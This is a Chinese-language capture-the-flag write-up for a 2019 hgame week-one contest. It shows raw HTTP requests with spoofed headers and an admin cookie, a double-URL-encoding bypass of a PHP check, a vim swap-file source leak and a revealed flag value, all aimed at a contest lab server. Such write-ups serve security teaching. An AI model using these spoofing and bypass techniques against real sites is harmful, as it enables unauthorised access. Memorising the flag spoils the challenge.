果然寒假还是会玩物丧志…十分抱歉！

WEB 部分

谁吃了我的 flag

Mki 直接在服务器端编写网页代码，会导致源代码泄露？偷窥群里 dalao 的发言应该是这样。写到 flag 一半的时候手动保存了一次（或者自动保存了一次），然后至写完并无保存，关机非正常关闭文件，留下了 index.html.swp 交换文件在后台，下载过来瞅瞅就行了

换头大作战

这题用到了抓包软件 BurpSuiteCommunity，简称 bp?

（提示中还有 postman hackbar）

按照题目要求使用 POST 包

加入 XFF 发送本地地址获得提示

用户代理改成 Waterfox/50.0 以获得识别

发包地址改成比利比利以获得识别

Cookie 管理员 1

这是 POST 包

```
POST /week1/how/index.php HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://120.78.184.111:8080/week1/how/index.php?want=
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
```

```
Connection: close
Cookie: admin=0
Upgrade-Insecure-Requests: 1

want=
```

这是 GET 包

```
GET /week1/how/index.php?want= HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://120.78.184.111:8080/week1/how/index.php
Connection: close
Cookie: admin=0
Upgrade-Insecure-Requests: 1
```

Very easy web

这题给出了后台的检测代码

需要给服务器发符合条件的包

```
<?php

error_reporting(0);

include("flag.php");


if(strpos("vidar",$_GET['id'])!==FALSE)     //获取 id 的值

  die("<p>干巴爹</p>");


$_GET['id'] = urldecode($_GET['id']);   //解码 id 的值，url 编码原理是取 ASCII 码

的 16 进制前加%，浏览器会自动编码%所以实际上%2576 就是%76

if($_GET['id'] === "vidar")

{

  echo $flag;

}
```

```
highlight_file(__FILE__);

?>
```

```
GET /week1/very_ez/index.php?id=%2576idar HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Can u find me

十二姑娘！F12 检查元素
发现一个 F12.php 那就跳转过去
找 password，抓到的包里响应头里有
把 password 放包里发回去检查响应，发现 iamflag.php
进入后页面重定向到 toofast.php
用 bp 检查两个包的响应内容

toofast.php 的内容如下

```
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sun, 27 Jan 2019 08:48:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
Content-Length: 181

<!DOCTYPE html>
<html>
<head>
    <title>can u find me?</title>
</head>
<body>
    <p>aoh,your speed is sososo fast,the flag must have been left in somewhere</p>
</body>
</html>
```

iamflag.php 的内容如下

```
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Sun, 27 Jan 2019 08:48:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
location: toofast.php
Content-Length: 132

<html>
    <head>
        <title>can you find me?</title>
    </head>
    <body>
        <p>flag:hgame{f12_1s_aMazIng111}</p>
    </body>
</html>
```

RE 部分

Pro 的 Python 教室（一）

初次接触 Python，在 C 语言的基础上还是比较好理解的，是比较简单的解密解密，下个 Python 运行下 encode，decode 函数就有了 √